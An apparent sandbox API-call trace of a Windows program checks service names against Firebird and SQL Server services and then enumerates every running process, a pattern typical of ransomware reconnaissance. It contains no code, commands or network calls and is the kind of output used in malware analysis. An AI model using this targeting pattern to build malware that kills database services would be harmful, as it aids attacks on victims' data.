[0173.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0173.076] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0173.076] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0173.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0173.076] lstrlenW (lpString="PlugPlay") returned 8 [0173.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0173.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0173.076] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0173.076] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0173.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0173.076] lstrlenW (lpString="Power") returned 5 [0173.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0173.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0173.076] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0173.076] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0173.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0173.077] lstrlenW (lpString="ProfSvc") returned 7 [0173.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0173.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0173.077] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0173.077] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0173.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0173.077] lstrlenW (lpString="RpcEptMapper") returned 12 [0173.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0173.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0173.077] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0173.077] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0173.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0173.077] lstrlenW (lpString="RpcSs") returned 5 [0173.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0173.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0173.077] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0173.077] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0173.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0173.077] lstrlenW (lpString="SamSs") returned 5 [0173.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0173.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0173.077] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0173.077] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0173.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0173.077] lstrlenW (lpString="Schedule") returned 8 [0173.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0173.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0173.077] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0173.077] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0173.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0173.077] lstrlenW (lpString="SecurityHealthService") returned 21 [0173.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0173.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0173.077] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0173.077] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0173.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0173.078] lstrlenW (lpString="SENS") returned 4 [0173.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0173.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0173.078] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0173.078] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0173.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0173.078] lstrlenW (lpString="ShellHWDetection") returned 16 [0173.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0173.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0173.078] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0173.078] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0173.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0173.078] lstrlenW (lpString="Spooler") returned 7 [0173.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0173.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0173.078] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0173.078] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0173.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0173.078] lstrlenW (lpString="SSDPSRV") returned 7 [0173.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0173.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0173.078] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0173.078] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0173.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0173.078] lstrlenW (lpString="StateRepository") returned 15 [0173.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0173.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0173.078] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0173.078] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0173.078] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43800d0 | out: hHeap=0x790000) returned 1 [0173.078] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x360 [0173.082] Process32FirstW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0173.083] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0173.083] lstrlenW (lpString="System") returned 6 [0173.083] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0173.085] lstrlenW (lpString="smss.exe") returned 8 [0173.085] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0173.085] lstrlenW (lpString="csrss.exe") returned 9 [0173.085] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0173.086] lstrlenW (lpString="wininit.exe") returned 11 [0173.086] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0173.087] lstrlenW (lpString="csrss.exe") returned 9 [0173.087] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0173.087] lstrlenW (lpString="winlogon.exe") returned 12 [0173.087] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0173.088] lstrlenW (lpString="services.exe") returned 12 [0173.088] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0173.089] lstrlenW (lpString="lsass.exe") returned 9 [0173.089] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.089] lstrlenW (lpString="svchost.exe") returned 11 [0173.089] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0173.090] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0173.090] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0173.091] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0173.091] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.091] lstrlenW (lpString="svchost.exe") returned 11 [0173.092] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0173.092] lstrlenW (lpString="dwm.exe") returned 7 [0173.092] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.093] lstrlenW (lpString="svchost.exe") returned 11 [0173.093] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.094] lstrlenW (lpString="svchost.exe") returned 11 [0173.094] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.094] lstrlenW (lpString="svchost.exe") returned 11 [0173.094] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.095] lstrlenW (lpString="svchost.exe") returned 11 [0173.095] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.096] lstrlenW (lpString="svchost.exe") returned 11 [0173.096] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.096] lstrlenW (lpString="svchost.exe") returned 11 [0173.096] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.097] lstrlenW (lpString="svchost.exe") returned 11 [0173.097] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.098] lstrlenW (lpString="svchost.exe") returned 11 [0173.098] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.098] lstrlenW (lpString="svchost.exe") returned 11 [0173.098] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0173.099] lstrlenW (lpString="spoolsv.exe") returned 11 [0173.099] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.100] lstrlenW (lpString="svchost.exe") returned 11 [0173.100] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.101] lstrlenW (lpString="svchost.exe") returned 11 [0173.101] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0173.101] lstrlenW (lpString="audiodg.exe") returned 11 [0173.101] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0173.102] lstrlenW (lpString="sihost.exe") returned 10 [0173.102] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.103] lstrlenW (lpString="svchost.exe") returned 11 [0173.103] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0173.103] lstrlenW (lpString="taskhostw.exe") returned 13 [0173.103] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0173.104] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0173.104] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0173.105] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0173.105] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0173.105] lstrlenW (lpString="explorer.exe") returned 12 [0173.105] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0173.106] lstrlenW (lpString="Memory Compression") returned 18 [0173.106] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0173.107] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0173.107] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0173.107] lstrlenW (lpString="SearchUI.exe") returned 12 [0173.107] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0173.108] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0173.108] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0173.109] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0173.109] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0173.110] lstrlenW (lpString="taskhostw.exe") returned 13 [0173.110] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0173.111] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0173.111] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0173.111] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0173.111] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0173.112] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0173.112] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfe0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0173.113] lstrlenW (lpString="conhost.exe") returned 11 [0173.113] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver.exe")) returned 1 [0173.114] lstrlenW (lpString="screensaver.exe") returned 15 [0173.114] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upperarc.exe")) returned 1 [0173.114] lstrlenW (lpString="upperarc.exe") returned 12 [0173.115] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying.exe")) returned 1 [0173.116] lstrlenW (lpString="buying.exe") returned 10 [0173.116] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="downloadable.exe")) returned 1 [0173.116] lstrlenW (lpString="downloadable.exe") returned 16 [0173.116] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guests_production_meanwhile.exe")) returned 1 [0173.117] lstrlenW (lpString="guests_production_meanwhile.exe") returned 31 [0173.117] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed-shirts.exe")) returned 1 [0173.118] lstrlenW (lpString="deemed-shirts.exe") returned 17 [0173.118] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mugwritesheroes.exe")) returned 1 [0173.119] lstrlenW (lpString="mugwritesheroes.exe") returned 19 [0173.119] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="swapdamelooked.exe")) returned 1 [0173.119] lstrlenW (lpString="swapdamelooked.exe") returned 18 [0173.119] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="moments.exe")) returned 1 [0173.120] lstrlenW (lpString="moments.exe") returned 11 [0173.120] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-sector-antonio.exe")) returned 1 [0173.121] lstrlenW (lpString="geo-sector-antonio.exe") returned 22 [0173.121] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="stream-test.exe")) returned 1 